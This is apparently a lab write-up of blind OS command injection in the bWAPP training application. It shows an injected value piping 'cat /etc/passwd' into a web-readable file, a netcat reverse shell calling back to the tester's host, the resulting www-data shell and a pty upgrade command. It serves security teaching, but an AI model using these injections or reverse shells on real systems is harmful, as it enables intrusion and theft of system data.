bWAPP OS Command Injection - Blind

Our first step is to see if we can successfully write files to the server through this command injection. We will cat /etc/passwd in to a file which should be in the current directory on the server. After that we should be able to visit the pass.txt file and access the contents of said file.

127.0.0.1|cat /etc/passwd>>pass.txt

As you can see we successfully cat'd the content of /etc/passwd in to a file called pass.txt which we were able to access via the browser.

Our next step is to see if we can get a reverse connect shell going by using netcat and our blind command injection vulnerability.

nc -e /bin/sh 192.168.56.1 8088

We got a successful connect back from the remote host.

sam@ubuntu:~$ nc -nvlp 8088
Listening on [0.0.0.0] (family 0, port 8088)
Connection from 192.168.56.101 36422 received!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bee-box:/var/www/bWAPP$